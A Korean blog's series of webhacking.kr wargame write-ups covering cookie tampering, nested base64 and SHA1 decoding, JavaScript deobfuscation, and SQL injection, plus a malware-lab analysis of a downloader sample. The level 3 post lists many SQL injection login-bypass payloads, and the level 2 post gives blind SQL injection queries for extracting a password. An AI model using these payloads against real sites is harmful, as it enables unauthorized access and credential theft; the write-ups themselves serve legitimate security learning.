2016. 8. 13. 20:23 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv6 문제풀이 달립니다!

! 빠른 문제풀이 보다는 풀이과정 속에서 이것 저것 배우는것을 목표로 합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

6번 문제에 접속합니다.

Hint로 base64가 주어졌고, ID와 PW가 써져있군요....?!

 

소스코드를 살펴보면 초기 Cookie 값을 설정하기 위해

20번의 base64 인코딩과 특수문자 치환을 하고 있음을 알 수 있습니다.

 

이후 동일하게 base64로 디코딩 과정을 거치고 있군요!

 

디코딩 결과값이 "admin" 인 경우에 solve 함수를 호출합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------ 

 

우리가 문제를 풀이하기 위해서는

20번의 디코딩 + 특수문자 치환 => "admin" 이라는 결과값을 만들어 내야 합니다.

즉, 반대로 "admin" 값을 20번 인코딩 한후 특수문자 치환을 하고나서

아래의 Cookie 값에 설정하면 됩니다.

 

전 이번 문제를 해결하기 위해 룰루랄라 하면서

파이썬으로 간단히 20번의 for문을 작성했습니다.

아래와같이 말이죠! 심지어 이번 문제는 삽질 없이 빨리 끝내겠네~ 라는 생각과 함께요

 id = base64.encodestring(id

 

그런데...안되더군요

인코딩 방법을 바꾸어 보았습니다.

 id = id.encode("base64") 

 

안됩니다. 뭐가 문제지 싶었습니다.

삽질끝에 알고 왔더니 encodestring과 encode("base64")에 포함된 개행문자 "\n" 때문입니다.

encodestring의 경우는 print로 찍어보면 print 메소드 자체의 개행문자까지 총 2번의 개행이 됨을 볼 수 있습니다.

이를 해결하기 위해 rstrip 함수를 사용한다고 해도 아래 그림처럼

8번째 줄부터는 자동으로 개행 문자가 삽입되어 우리가 원하는 값을 얻을 수 없습니다.

물론, 개행문자가 들어갔다 하더라도 동일 함수로 디코딩 하면 최초 문자열인 "admin"이 나옵니다.

 

결과적으로 제가 원했던 "파이썬 코딩을 이용한 해결"은 b64encode 함수를 써야합니다.

그러면 아래와 같이 개행문자가 삽입되지 않고 결과값이 나옴을 볼 수 있습니다.

WebHacking 홈페이지에서 제공하는 base64 인코딩 기능을 사용하는 방법도 있습니다.

 

특수문자를 치환하는 부분은 딱히 치환되는 부분이 없기 때문에

단순히 디코딩만 20번 해준뒤에 Coockie 값을 변경해주면

문제를 해결할 수 있습니다.

 

그냥 삽질만 하면 아쉬운것 같아서, Tab이 허전한 RDT에 BASE64 탭을 추가했습니다.

이번 케이스를 통해서 BASE64 인코딩이나 디코딩이 여러번 중첩되는 경우

놓치는 부분을 최소화 하기 위해 , XOR 연산처럼 횟수를 지정할 수 있도록 구현했습니다.

그래도 삽질 끝에 뭔가 하나라도 얻었으니 다행이네요.

posted by Red_Message
2016. 8. 12. 18:27 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv5 문제풀이 달립니다!

! 빠른 문제풀이 보다는 풀이과정 속에서 이것 저것 배우는것을 목표로 합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

5번 문제에 접속하면 아래와 같은 화면이 우리를 반겨줍니다.

 

소스를 살펴보아도 별다른건 보이지 않습니다.

Join 버튼을 눌러보아도, 역시 소스코드대로 "Access_Denied" 경고창이 뜨는군요.

 

Login 버튼을 눌러 다음으로 넘어가면 이러한 화면이 나옵니다.

지난번 문제에서 처럼, Burp를 이용하여 간단히 SQl Injection을 수행해 보았으나,

별다른 취약점은 발견하지 못했습니다.

 

이제 다른 루트를 모색해봐야 할 것 같군요!

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 디렉토리 리스팅

Join 버튼을 괜히 넣어놓지는 않았을겁니다.

그렇다면 join을 할 수 있는 다른 페이지가 존재하는가? 라는 의문이 들었드랬죠.

소스코드에서는 발견할 수 없었으니, 다른 페이지가 존재하는지 여부를 살펴봐야합니다.

join 페이지를 추측해서 일단 넣어보는 방법도 있겠지만,

디렉토리 리스팅이 통한다면 가장 편한 방법이겠죠! 한번 시도해봅니다.

 

join.php 의 존재를 확인하였으니, 접속해봅니다.

그러면 검은색 화면이 우리를 반겨줍니다.

소스코드를 확인하면 아래와 같이 난독화된 소스를 볼 수 있습니다.

 

 

2) 난독화 & 지핑 해제

난독화된 소스를 한눈에 알아보기 쉽지 않습니다.

다른분들의 풀이도 살펴보고, 나름대로의 검색을 통해서

난독화되거나 정렬되어 있지 않은 JScript를 분석하는 방법은 대체로 아래와 같더군요.

Malzilla / Format Code 기능

Notepad++ / JSFormat(JSTool Plugin) 기능

 IE 개발자도구 / Console 기능

 온라인 Unpack & Deobfuscator 이용

--------------------------------------------------------------------------------------

- Malzilla : https://sourceforge.net/projects/malzilla/?source=typ_redirect

- Notepad++ : https://notepad-plus-plus.org

- Online Javascript Deobfuscator : http://jsbeautifier.org

--------------------------------------------------------------------------------------

 

 

방법1 : Malzilla / Format code

정리된 소스코드의 윗부분은 주로 선언부인것 같네요.

 

아랫부분에 주요 소스코드가 나옵니다.

주요 골자는 2개의 if 조건과, else 조건으로 보입니다.

그중에서도 else 문이 핵심인듯 하여, 좀더 세밀하게 정리해봅니다.

 

document.write() 메소드를 이용하여 붉은색의 html 소스를 추가로 입력하는 것으로 보입니다.

특정 변수가 있다면, alert() 메소드로 난독화가 해제된 소스코드를 보겠지만

일일이 wirte() 를 이용했기 때문에 손으로 어느정도 정리해 줘야 겠군요!

 

 

방법2 : Notepad++ / JSFormat

정렬 기능을 사용하기 위해 JSTool 플러그인을 설치해줍니다.

 

이후에 JSTool의 JSFormat 기능을 선택하여 정렬해줍니다.

 

Malzilla보다 조금더 안정감 있게 정리된 느낌이네요.

 

Notepad++의 장점은, 윈도우에 기본적으로 설치되어 있는 Notepad 보다

우수한 성능의 replace(바꾸기, Ctrl+H) 기능을 제공해줍니다.

특히 바꾸고 싶은 문자열을 더블클릭해서 단축키를 누를경우, 좀더 편리하게 바꿀 수 있으며,

Notepad에서는 할 수 없는 개행문자도 변경가능합니다.

 

파이썬으로 변경하신분도 있으시던데, 저의 경우 그냥 바꾸기 기능을 이용하여 아래와 같이 정렬했습니다.

대소문자 구분과 단어 완전일치를 체크해주지 않으면, 엉뚱한 문자들이 교체될 수 있습니다.

대략 살펴보면 아래와 같습니다.

- document.cookie 에서 "oldzombie" 문자열이 없으면 --> bye

- document.url 에서 mode 값이 1이 아니면 "access.denied"

- 모두 충족되면 document.write

 

그래서 cooxie 툴바를 이용하여 cookie값에 "oldzombie" 문자열을 넣어주고

URL에는 mode=1 값을 넣어주면 됩니다. (http://webhacking.kr/challenge/web/web-05/mem/join.php?mode=1)

그럼 정상적인 회원가입 폼을 만날 수 있습니다.

 

 

방법3 : IE 개발자도구 / Console

난독화되거나, 지핑된 코드는 정렬 기능을 가진 도구를 이용해도

난독화가 쉽게 풀리지 않는 경우가 많습니다.

IE 개발자도구의 콘솔기능을 이용하면, 현재 웹페이지의 소스코드를 고치지 않고도

변수등을 alert로 찍어볼 수 있습니다. 

 

특히 저희가 풀고 있는 문제에서는 document.write 부분만 따로 복사하여

콘솔부분에 붙여 넣으면, 조건문을 거치지 않고도 회원가입 스크립트를 볼 수 있습니다.

해당 폼에 회원가입을 해도 정상적인 쿼리값이 전송됩니다.

 

 

3) 회원가입

우리는 admin ID값으로 로그인 해야하므로,

admin으로 회원가입을 해보면 아래와 같은 이미 존재한다는 창이 뜹니다.

 

그렇다면, admin으로 로그인은 하되

글자는 admin이 아닌 경우를 생각해야하는데,

만약 서버가 사용자 입력값을 trim() 한다면 space 값을 이용하여 우회할 수 있는 여지가 생깁니다.

하지만 글자 길이가 5자리로 제한되어 있으므로, 프록시툴로 우회해줍니다.

 

회원가입이 완료되었습니다.

 

로그인을 시도해볼까요?

 

 

 Tip. JScript - indexOf

 문자열 중에서 특정 문자나 문자열의 위치를 말해주는 메소드로,

 특정 문자가 있는지 없는지를 판단하는 메소드.

 시작위치를 지정해주지 않으면, 전체 문자열에서 처음부터 검사합니다.

 ex) alert("redscreen".indexOf("r")) 의 결과값은 0 입니다.

 

 Tip. Javascript의 세미콜론

 자바스크립트는 문장 끝에 세미콜론을 입력하지 않아도 프로그램을 실행하는데 문제가 없습니다.

 하지만 대부분의 프로그래밍 언어가 문장 끝에 세미콜론을 입력하므로 자바스크립트도 관례상 입력합니다.

 

posted by Red_Message
2016. 8. 6. 13:25 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv4 문제풀이 달립니다!

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

4번 문제에 접속하면 아래와 같은 문자열이 나옵니다.

아마 해당 문자열을 복호화 하거나 디코딩하라는 의미겠죠?

 

단순히 즐겨찾기 해두면 맨날 없어지고, PC 바뀌면 못찾고...

이러한 문자열을 디코딩하거나 레인보우 테이블이 필요할때 유용한 사이트입니다.

암복호/디코딩 : http://tools.web-max.ca/encode_decode.php

 

레인보우테이블 : http://hashtoolkit.com

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

일단 주어진 문자열의 끝부분이 "==" 으로 끝나므로 BASE64 로 디코딩해주면 아래와 같은 문자열이 나옵니다.

 c4033bff94b567a190e33faa551f411caef444f2

 

해당 문자열을 패스워드에 입력하면 아무 반응이 나타나지 않습니다.

아마 어떠한 방법으로 디코딩을 더 해야되는것 같네요.

해당 문제를 풀기위해 공부한 결과로는, 16진수 X 40개 = 160bit 값을 통해 SHA1 으로 유추하는 방법이 있다고 하는데,

저는 직관적으로 해당 방법을 몰랐으므로, 위에 URL에 남긴 레인보우테이블 사이트를 이용했습니다.

bit값을 알아서 계산해서 결과를 알려주는 듯 합니다. SHA1 Decrypt 결과값이 나왔습니다.

 

하지만 결과값 역시 160bit 이므로, 한번더 동일한 작업을 수행합니다.

그러면 아래와 같은 의미있는 문자열을 발견할 수 있습니다.

사실 윗단계에서 의미 없다고 다른 방법을 찾아보았다면 낭패를 보았겠죠..

 

해당값을 입력하면 클리어입니다.

 

 Tip. 해쉬함수

 보통 웹사이트에서 패스워드를 저장할 때 SHA1, SHA256 등을 이용한 해쉬값을 많이 사용합니다.

 하지만 해당 방법들을 사용하면, 위 사이트에서 제공하는 레인보우테이블을 이용할 경우 패스워드 추축이 가능하게 됩니다.

 그래서 쉽게 추측하는 부분을 방지하기 위해 대형 사이트에서는 아래와 같이

 무의미한 쓰레기값과 salt 값을 이용한다고 합니다.

  "쓰레기값" + SHA1(salt + password) = 유추하기 어려운 값 

 

posted by Red_Message
2016. 8. 5. 16:53 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv3 문제풀이 달립니다!

중간 과정과 삽질을 생략하지 않아 다소 길 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

문제에 접속하면 퍼즐이 나옵니다.

뭔가 있을줄 알았으나...그냥 풀어주고 넘어가면 됩니다.

 

 

다음 화면으로 넘어가면 아래와 같은 페이지가 나옵니다.

왠지 SQL Injection를 하라고 대놓고 만든 페이지처럼 느껴집니다...

해야될것만 같습니다. 느낌이 그렇습니다 그냥...

 

프록시 툴로 어떤 인자 값이 전달되는지 확인합니다.

answer와 id값이 동시에 전달됨을 확인합니다.

 

유저가 입력한 answer값과 name 값이 서버에 저장되는것 같습니다.

이런 부분을 체크하고 문제풀이에 돌입합니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

다른 분들의 풀이를 보면, 특수문자 샥샥 해서 한페이지 만에 답을 도출하시던데...

저는 그게 안되는데 어떻게 되는거죠? 오늘도 삽질을 시작합니다.

그래도 삽질을 하면 배우는게 있어요...

 

남들이 하는것처럼 일단 특수문자를 넣어보기로 했습니다.

예전에 손가락으로 일일이 넣다가 포기했던 아름다운 추억이 있으므로

Burp의 Intruder 기능을 이용하기로 했습니다. 공격할 포지션으로 answer를 지정합니다.

 

1) 특수문자

PayloadSimple List로 지정해줍니다.

일단 산뜻하게 특수문자로 시작합니다. (복사 + Paste버튼) 

 

공격 결과는 아래와 같습니다.

첫 패킷은 페이로드가 포함되지 않아서 그냥 엔터를 친 결과와 같습니다.

우리가 주목해야 할 부분은 돌아온 Response 값의 Length입니다.

 

Length 값이 458인 경우는 no hack 이라는 말과 함께 차단되는 것으로 보입니다.

여기서 제가 주목하지 않아 삽질을 하게 만든 특수문자는 % 입니다.

특수문자 테스트에서 % 문자가 차단되는 부분을 고려하여 Injection 코드를 구성했어야 했는데

스페이스가 URL 인코딩이 되면서 %20 으로 치환되는 부분을 간과해버려서

스페이스가 들어간 모든 Injection 공격문이 차단되었기 때문입니다.

차단되는 특수문자 : ! # % * ' /

 

Length 값이 458인 경우는, query error! 라는 말로 보아 차단되는 특수문자는 아닌것으로 판단됩니다.

여기서도 제가 신경 쓰지 못한 특수문자가 있는데, 바로 || 입니다.

평소 MySQL Injection에 익숙해져 있는데다가, 대부분 or 를 쓰다보니 관심이 없었더랬죠..

 

Length 값이 451인 경우는 아무런 값이 리턴되지 않아 알수가 없습니다. ex) @

 

2) 1차시도

기존에 SQL Injection의 존재 여부를 간단히 체크할 수 있는 리스트를 검색해서

복붙 해놓은게 생각나서 버프슈트의 payload에 입력해 보았습니다.

결과 : 실패

 or 1
 or 1=1
 or 1=1--
 or 1=1#
 or 1=1/*
 admin' --
 admin' #
 admin or 1
 admin or 1=1
 admin or 1=1--
 admin or 1=1#
 admin or 1=1/*
 admin" or "1"="1"--
 admin" or "1"="1"#
 admin" or "1"="1"/*
 admin" or 1=1 or ""="
 admin" or 1=1
 admin' /*
 admin' or '1'='1
 admin' or '1'='1'--
 admin' or '1'='1'#
 admin' or '1'='1'/*
 admin' or 1=1 or ''='
 admin' or 1=1
 admin' or 1=1#
 admin') or ('1'='1
 admin') or ('1'='1'--
 admin') or ('1'='1'#
 admin') or ('1'='1'/*
 admin') or '1'='1
 admin') or '1'='1'--
 admin') or '1'='1'#
 admin') or '1'='1'/*
 admin" --
 admin" #
 admin" /*
 admin" or 1=1--
 admin" or 1=1#
 admin" or 1=1/*
 admin") or ("1"="1
 admin") or ("1"="1"--
 admin") or ("1"="1"#
 admin") or ("1"="1"/*
 admin") or "1"="1
 admin") or "1"="1"--
 admin") or "1"="1"#
 admin") or "1"="1"/*

 

3) 2차시도 : 공백제거

특수문자 %가 막혀있는 부분을 생각하여, 공백(space)를 제거하여 시도합니다.

결과 : 실패

 

4) 3차시도 : 문자열 "or" → "||" 교체

검색을 하여 or 문자를 특수문자 || 로 교체하여야 된다는 사실을 알게되었습니다.

하지만 Length를 보아도 별다른 소득이 없습니다.

결과 : 실패

 

5) 4차시도 : 공백 다시 제거

스페이스가 포함되어 있는걸 까먹었습니다. 머리가 안돌아가면 몸이 고생...

다시 공백을 제거하여 시도합니다.

결과 : 8번째 라인에서 성공

 

 

성공한 8번째 라인의 리턴된 값을 보면 아래와 같습니다.

이거 하나 보기가 까다롭네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 마무리

------------------------------------------------------------------------------------------------------------------------------------------

 

답을 모른다고 생각하고, 풀이를 진행해 보았습니다.

시간은 오래걸렸지만, 삽질을 하면서 얻은 교훈이 있네요 ㅎㅎ

1. 인젝션을 수행할 때 "or" 만이 능사는 아니다.

2. 프록시 툴로 파악한 파라미터에 인젝션을 시도할 경우, 기존의 데이터를 유지하고 뒤에 추가하는 부분도 고려해야 한다.

 

posted by Red_Message

안녕하세요. Message입니다.

<실전 악성코드와 멀웨어 분석> 책의 실습 문제 6-2을 분석합니다.

분석환경은 Windows 7 Ultimate 64x / Vmwre 12.1.0 build 입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

0. 기초 동적 분석

------------------------------------------------------------------------------------------------------------------------------------------

문제풀이에 앞서 간단한 동적 분석을 진행합니다.

 

1) PE구조 & 패킹체크

별도의 패킹이 되어 있지 않습니다.

 

2) DLL 체크

샘플 [Lab06-01.exe]와 동일하게 KERNEL32.dll, WININET.dll 2개의 dll을 임포트합니다.

다만 WININET.dll의 임포트 함수 목록이 5개로 증가하였습니다.

InternetOpenA, InternetOpenUrlA 등 샘플 [Lab01-02.exe] 에서 분석하였던 API가 보입니다.

아마 문자열을 어떤 IE를 사용하는지, 어떤 URL로 접속하는지 나오지 않을까요?

 

3) String 체크

IDA의 String Window(Shift+F12)를 보면 아래와 같이 .data에서

IE버전과 URL을 발견할 수 있습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

1. main 함수가 호출하는 첫 번째 서브루틴은 무슨 오퍼레이션을 수행하는가?

2. 0x40117F에 위치한 서브루틴은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

호출되는 첫번째 서브루틴은 샘플 [Lab06-01.exe]와 동일합니다.

[ View-Graphs-FlowChart(F12) ] 를 이용하여 전체적인 맥락을 살펴보면

전 샘플과는 다르게 if문이 중첩되어 있는 사실을 알 수 있습니다.

어쨋든 첫번째 서브루틴은 동일 기능입니다.

 

0x40117F에 위치한 서브루틴은 샘플 [Lab06-01.exe]와 동일하게 printf 기능을 수행합니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

3. main 함수가 호출하는 두 번째 서브루틴은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

main 함수가 호출하는 두번째 서브루틴(loc아님)은  아래와 같은 구조를 가지고 있습니다.

전체적인 파악을 하려면 시간이 좀 걸리겠습니다.

 

그래프는 복잡하지만 IDA의 Hex-ray 기능을 이용하면 좀더 직관적인 파악이 가능합니다.

소스코드를 통해 유추한 내용을 바탕으로 대략적인 흐름은 아래와 같습니다.

① InternetOpenA : WinNet 라이브러리 사용 초기화

② InternetOpenUrlA : FTP or HTTP URL이 명시하는 위치로 핸들 얻기

③ InternetReadFile : InternetOpenUrlA를 통해 얻은 핸들을 이용하여 데이터를 읽음

④ InternetCLoseHandle : 오픈한 핸들 닫기

 

해당 프로그램이 어떤 결과를 도출하는지 알아내기 위해 OllyDbg를 통해 살펴봅니다.

본래 InternetOpenUrlA API를 호출하여 연결에 성공하면 EAX 레지스터에

URL에 대한 올바른 핸들값이 리턴되지만, 성공하지 못하면 NULL 값이 리턴됩니다. 

 

이후 "Error 2.1: Fail to OpenUrl" 문자열을 출력하고 InternetCloseHandle API를 이용하여 핸들을 닫습니다.

 

하지만, 해당 프로그램이 연결에 성공했다면 어떻게 되었을까요?

InternetReadFile API를 이용하여 데이터를 읽었을겁니다.

이후에 if문을 통해 buffer의 값을 비교하기 시작합니다.

 

buffer의 값을 1씩 올리면서 비교하는 구문은 OllyDbg를 통해 보면 아래와 같습니다.

같지 않을 경우 무조건 0x0040111D로 분기하는 것이 else 구문을 표현하는 것이었군요.

 

물론 IDA의 Graph 모드를 통하면 좀더 직관적으로 알 수 있습니다.

하지만 이부분도 Hex-ray 기능이 없었다면 파악하기 힘들었을 것 같네요.

이러한 패턴을 잘 눈여겨 봐야겠습니다.

  

비교하는 문자열 3Ch와 21h 등을 IDA에서 우클릭을 통해 변환하면

위와 같이 "<!--" 형태의 HTML 주석 문자열임을 알 수 있습니다.

문자열 비교가 성공적(?) 으로 끝나면 5번째 문자열을 AL(1byte 0f EAX) 레지스터에 옮깁니다.

즉 리턴값인거죠.

 

------------------------------------------------------------------------------------------------------------------------------------------

4. 이 서브루틴에서 사용한 코드 구조는 어떤 유형인가?

------------------------------------------------------------------------------------------------------------------------------------------

3번 과정에서 AL에 리턴값을 성공적으로 가져왔다면 어떤 구조로 실행되는지 다시 Main으로 가봅니다.

AL레지스터의 값을 비교하는데 TEST EAX, EAX 명령어를 사용했습니다.

지난번에 Tip에 해당 명령어에 대해 기재했었지만 다시 까먹은 관계로 복습하면

"함수에서 돌아온 이후 수행하는 TEST EAX, EAX 명령어는 두 OP가 모두 0인지 판단" 합니다.

즉 AL에 0이 리턴됐다면 실패한 것이고, 성공했다면 AL에 5번째 문자 1Byte가 할당되어 있겠죠?

 

이후 printf 함수로 "Success: Parsed command is %c\n" 문자열을 출력하고

Sleep 함수를 실행합니다.

여기서 %c 문자는 레지스터 AL에 담긴 1byte 문자입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

5. 이 프로그램에서 네트워크 기반의 행위가 존재하는가?

------------------------------------------------------------------------------------------------------------------------------------------

① User-Agent 값으로 IE 7.5 를 사용

http://mal...(중략).../cc.htm 을 다운로드

 

------------------------------------------------------------------------------------------------------------------------------------------

6. 이 악성코드의 목적은 무엇인가?

------------------------------------------------------------------------------------------------------------------------------------------

인터넷 연결의 활성 여부를 확인한 이후

특정 User-Agent 를 이용하여 웹페이지 다운을 시도합니다.

해당 웹페이지는 주석으로 시작하며, 파싱에 성공하면 출력 후 종료합니다.

 

 

posted by Red_Message
2016. 7. 30. 10:46 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv2 문제풀이입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

해당 문제는 홍길동 문제라는 아주 유명한 문제더군요

단서들간의 연관성을 짓기가 매우 어려웠고,

예전에는 힌트가 주어졌다고 했는데, 힌트도 없이 풀면 난이도가 더 상승하겠죠.

 

2번 문제에 접속합니다.

 

1) 첫번째 단서

문제풀이용으로 홈페이지가 구축되어 있습니다.

소스를 살펴보면 첫번째 단서를 얻을 수 있습니다.

아래 하이라이트 처리된 부분을 보면 admin 페이지가 노출되어 있다는 사실입니다.

 

접속해보면 아래와 같은 페이지가 나옵니다. 패스워드를 어떻게 알아낼 수 있을까요?

 

2) 두번째 단서

두번째 단서는 주석처리 되어 있는 시간 값입니다.

 

3) 세번째 단서

세번째는 패스워드가 설정되어 있는 게시글입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

 

이번문제의 핵심은 admin 페이지에 설정되어 있는 time 인자값과

메인 페이지의 주석처리 되어 있는 부분의 연관성입니다.

바로 아래의 time 부분에 Injection 시도가 가능한가? 라는 발상이 문제풀이의 핵심입니다.

 

아마 문제풀이가 아니고 실제 모의해킹을 수행하는 과정이었다면

Burp Suite로 time 인자값에 Injection을 한번쯤 수행해봤겠지만,

인젝션 수행 후에 어떤 값이 바뀌는지 인지하는것 또한 어려웠을겁니다.

 

아래와 같은 간단한 인젝션을 테스트해봅니다.

1) 결과값이 False인 경우 : <!--2070-01-01 09:00:00-->

  

 

2) 결과값이 True인 경우 : <!--2070-01-01 09:00:01-->

  

 

위와 같은 결과값을 이용하여 우리는 Blind SQL Injeciton 공격을 이용할 수 있습니다.

예전에는 테이블명을 Hint로 주었다고 하는데,

힌트없이 진행하려고 시도해봤지만

MySQL 버전이 낮아서 information.schema 를 활용할 수 없는 관계로...

힌트를 참고하여 테이블명 FreeB0aRd, admin 값을 이용하여 인젝션을 시도합니다.

 

주요 쿼리문은 아래와 같이 구성합니다.

----------------------------------------------------------------------------------------------------------------------------------------

MySQL Version : time=1469864699 and substr(version(),1,1) > '5'; PHPSESSID=%s

DB Length : time=1469864699 and substr(length(database()),1,1) = %d; PHPSESSID=%s

DB Name : time=1469864699 and substr(database(),%d,1) = char(%d); PHPSESSID=%s

PW Length : time=1469864699 and (select ascii(substr(password,%d,1)) from FreeB0aRd) = %d; PHPSESSID=%s

PW : time=1469864699 and (select length(password) from FreeB0aRd) = %d; PHPSESSID=%s

첨부파일 >blind.py

----------------------------------------------------------------------------------------------------------------------------------------

 

패스워드를 알아냈다면 암호가 걸려있던 admin 페이지로 갑니다.

매뉴얼 패스워드를 알려줍니다.

 

매뉴얼은 패스워드가 걸려있던 게시글에 첨부되어 있습니다.

압축파일에 암호가 걸려있으며, 매뉴얼 패스워드를 입력합니다.

 

압축을 풀고 열어보면 문제 2번을 클리어할 수 있는 패스워드를 알아낼 수 있습니다.

 

 Tip. Accept-Encoding

 서버로부터의 응답이 인코딩된 문자열로 들어와서 삽질을 했습니다.

 처음에는 이클립스의 인코딩 설정인줄 알고 건드리다가

 응답값에 URL, BASE64 등등의 디코딩을 해봐도 안되더군요...

 

 

 근데 다른분들의 코딩을 살펴봐도 디코딩을 하신분은 없길래 약간 의아했습니다.

 문제는 헤더값을 모두 설정해주겠다고 제가 입력한 Accept-Encoding 입니다.

 

 

 Accept-Encoding은 클라이언트가 웹 서버에게 보내는 HTTP Request 헤더에 들어있는 값으로서

 클라이언트가 해당 인코딩 또는 디코딩할 수 있음을 서버에 알려주는 역할입니다.  

 

 그래서 제가 받은 html문서의 body 부분은 Content-Encoding 에 명시된 gzip으로 인코딩 되었습니다.

 FIddler가 인코딩 되어 있음을 알려주고 있으며, 클릭하면 디코딩할 수 있습니다.

 Tip. MySQL Query (APMSETUP)

 Blind SQL Injection에 사용되는 문법을 보는데 이해가 잘 안되더군요

 확실히 숙지 하지 못하고, 머리속으로 상상하면서 코딩을 했습니다.

 당연히 시간이 지연되고 오류도 많이....하아

 사용되는 문법에 대한 흐름을 간략히 APM Setup에서 테스트해보았습니다.

 APMSETUP 설치경로(C:\APM_Setup\Server\MySQL5\bin)에서 아래와 같이 실행합니다.

 

제가 테스트 해보고 싶었던 부분은 select 뒤에 오는

 

 ascii(substr(password, 1,1)) 부분입니다. (이해가 잘 안되더군요)

 정확한 컬럼명을 입력해야 하는거 아닌가 싶어서요..

 하지만 password 컬럼을 검색한 결과값에서 필터가 적용되는것으로 보입니다.

 

 

 사용한 MYSQL 주요 명령어는 아래와 같습니다.

 - DB생성 : CREATE DATABASE dbname;

 - DB검색 : SHOW DATABASES;

 - DB선택 : USE dbanme;

 - TB검색 : SHOW TABLES;

 

posted by Red_Message
2016. 7. 30. 10:23 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr Lv1 문제풀이입니다.

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

1번 문제로 접속합니다.

아래와 같은 문구 외에는 별다른게 없습니다.

적혀 있는 index.phps 가 힌트인 것 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

소스보기를 해봅니다.

index.phps에 onclike 이벤트가 걸려있는것을 확인하고, 클릭합니다. 

 

그럼 아래와 같은 소스를 볼 수 있습니다.

 

간단한 소스코드 해석을 합니다.

 

1) 첫번째 PHP 문단 : 쿠키세팅

$_COOKIE라는 PHP의 슈퍼전역변수를 이용하여 user_lv 변수의 쿠키값을 확인합니다.

처음접속했다면 당연히 없을테니 Cookie값이 1 로 세팅될겁니다.

 

쿠키가 세팅되는 매커니즘을 간단히 메모장으로 테스트해보면 아래와 같습니다.

SetCookie 함수는 다른 함수가 실행되기 이전에 처음에 세팅되어야 하기 때문에

가장 상단에 존재해야 합니다.

 

 

2) 두번째 PHP 문단 : COOKIE값 확인

다시한번 $_COOKIE 변수와 정규표현식 [^0-9,.] 을 비교합니다.

대괄호 안에 있는 ^ 문자의 의미는 "해당 문자열을 제외한 나머지가 있으면 True값입니다."

즉, 저희는 저 대괄호 범위 안에 있는 문자열만 입력 가능하다는 뜻이죠.

이후에는 5 < Clear조건 <=6 을 만족하면 @solve() 함수가 실행되는 내용입니다.

 Tip. ereg 와 eregi

 두개의 함수는 동일 문자열을 검색하는 함수입니다.

 int ereg(string $pattern , string $string [, array &$regs ]) : 대,소문자 구별

 int eregi(string $pattern , string $string [, array &$regs ]) : 대소문자 구별없음

 첫번째 인자인 $pattern은 찾을 문자열이 들어가며,

 두번째 인자인 $string은 대상 문자열이 들어갑니다.

 

이제 문제를 클리어해봅시다.

일단 우리는 접속하자마자 SetCookie() 함수로 인하여 Cookie 값이 1 로 세팅됩니다.

이제 소스코드가 파악이 되었으니 Cooxie 툴바로 Cookie 값만 변경해주면 됩니다.

 

 

다음 레벨로 넘어갑니다!

 

 

posted by Red_Message
2016. 7. 30. 09:07 :: 문제풀이/WebHacking,kr

안녕하세요. Message입니다.

Webhacking.kr 문제풀이를 시작합니다.

회원가입부터 문제라더군요 ㅎㅎ

 

------------------------------------------------------------------------------------------------------------------------------------------

1. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

아래의 URL로 접속합니다.

URL : http://webhacking.kr/

아래와 같은 창이 나타납니다. 로그인 버튼 외에는 어떤것도 존재하지 않습니다.

회원가입부터 문제의 시작이군요!

 

 

------------------------------------------------------------------------------------------------------------------------------------------

2. 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

로그인을 시도할 때 공백일 경우 리턴되는것 외에는 별다른 점을 찾지 못했습니다.

 

하지만 아랫부분으로 더 내려가면 아래와 같이 주석처리된 부분을 발견할 수 있습니다.

버튼인데, 누르게 되면 특정 URL로 가는것 같습니다.

해당 URL을 현재 주소와 합칩니다.

URL : http://webhacking.kr/join/includ2_join__frm__0001.php?mode=b4c23ed5d4dd8888c6f6b57158305276

 

저는 이미 회원가입을 했기 때문에 다시 해보면 경고창이 뜨네요.

 

아래와 같은 회원가입 페이지가 나타났습니다.

"decode me" 라고 적힌 부분이 있는데, 살펴보니 끝이 "==" 문자열로 끝나는걸로 보아선

base64로 디코딩 된것 같네요.

온라인으로 URL을 디코딩할 수 있는 사이트들이 있으니 찾아서 디코딩 해줍니다.

 

한번 디코딩을 해주니 또다른 디코딩 문자가 나옵니다.

